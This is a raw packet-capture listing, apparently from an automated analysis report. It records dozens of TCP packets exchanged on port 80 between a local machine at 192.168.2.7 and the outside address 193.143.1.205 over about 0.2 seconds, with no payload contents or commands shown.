Jan 10, 2025 14:28:11.393836021 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.393857956 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393874884 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393889904 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393902063 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.393914938 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393925905 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.393963099 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.393963099 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.394021988 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.394104004 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.394115925 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.394138098 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.394145966 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.394172907 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.394287109 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.394298077 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.394320965 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.394334078 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.394340038 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.394355059 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.394366026 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.394375086 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.394397020 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.394404888 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.394419909 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.394437075 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.394449949 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.394457102 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.394470930 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.394481897 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.394494057 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.394506931 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.394515038 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.395267010 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.397905111 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.397928953 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.397938967 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.397952080 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.397990942 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398011923 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.398031950 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398045063 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398072004 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.398096085 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398108006 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398128033 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.398135900 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398147106 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398164988 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.398196936 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398207903 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398231030 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.398237944 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398250103 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398268938 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398274899 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.398307085 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.398348093 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398416042 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398427963 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398449898 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.398458004 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398484945 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398494959 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.398519993 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398533106 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398555994 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.398585081 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398596048 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398622990 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.398643017 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398657084 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398675919 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398684025 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.398714066 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.398727894 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398741007 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398781061 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.398789883 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398812056 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398818016 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398837090 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.398854017 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.398869038 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.407856941 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.414273024 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.427177906 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.427201986 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.427217007 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.427237034 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.427241087 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.427246094 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.427262068 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.427277088 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.427284002 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.427300930 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.427320004 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.427335978 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.429733992 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.429795980 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.429807901 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.429831982 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.429840088 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.429845095 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.429872990 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.429884911 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.429893017 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.429905891 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.429923058 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.429944038 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.433938980 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.456661940 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.456676960 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.456724882 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.456748962 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.456808090 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.456821918 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.456841946 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.456855059 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.456866026 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.456881046 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.456891060 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.456904888 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.456933975 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.456954002 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.456964970 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.456984043 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.457005024 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.457015991 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.457022905 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.457039118 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.457050085 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.457068920 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.463088989 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.483481884 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483513117 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483547926 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483557940 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.483582973 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483591080 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.483603954 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483624935 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483635902 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483644009 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.483668089 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483676910 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483684063 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.483696938 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483705997 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.483797073 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483807087 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483822107 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483839035 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.483843088 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483861923 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.483869076 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483881950 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483897924 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.483902931 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483913898 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483935118 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.483942032 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483953953 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.483989000 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484004021 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484024048 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484039068 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484047890 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484067917 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484076023 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484091043 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484107018 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484123945 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484129906 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484141111 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484163046 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484170914 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484184027 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484205008 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484211922 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484236002 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484244108 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484255075 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484275103 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484288931 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484297037 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484316111 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484322071 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484342098 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484357119 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484373093 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484383106 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484391928 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484405041 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484419107 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484430075 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484437943 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484448910 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484468937 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484479904 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484493017 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484500885 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484513044 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484528065 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484540939 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484558105 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484565020 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484586000 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484596968 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484611034 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484626055 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484641075 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484648943 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484658957 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484678030 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484685898 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484698057 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484719038 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484724998 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484735012 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484749079 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484759092 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484785080 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484791040 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484802008 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484831095 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484838009 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484855890 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484867096 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484889030 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484898090 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484919071 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484931946 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.484936953 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484951973 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484962940 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.484970093 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.485033035 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485043049 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485057116 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.485069990 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485075951 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.485187054 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485198021 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485210896 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485220909 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.485234976 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485241890 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.485256910 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485270023 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485282898 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485321045 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.485327005 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485338926 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485351086 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.485363007 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485373020 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485383034 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.485404015 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485414982 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485436916 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485445023 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.485464096 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485476971 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485493898 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485506058 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.485512972 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485522985 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.485531092 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.485549927 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.493529081 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.552171946 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.552186012 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.552213907 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.552226067 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.552238941 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.552253008 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.552273035 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.552279949 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.552303076 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.552314043 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.552330971 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.552344084 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.552345991 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.552351952 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.552361012 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.552376032 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.552383900 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.552388906 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.552397966 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.552414894 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.552429914 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.553179026 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.553210974 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.553219080 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.553240061 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.553260088 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.553270102 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.553278923 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.553294897 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.553302050 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.553317070 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.553333998 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.553339958 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.553352118 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.553390980 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.554048061 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.554094076 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.554105043 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.554115057 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.554126024 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.554182053 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.554194927 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.554202080 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.554220915 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.554227114 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.554244041 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.554267883 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.554281950 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.554302931 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.554310083 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.554322958 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.554344893 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.554354906 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.554367065 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.554378033 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.554397106 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.554403067 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.554446936 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.560125113 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.574440956 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574491024 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574502945 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574522018 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574532986 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.574559927 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.574626923 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574651003 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574667931 CET	80	49704	193.143.1.205	192.168.2.7
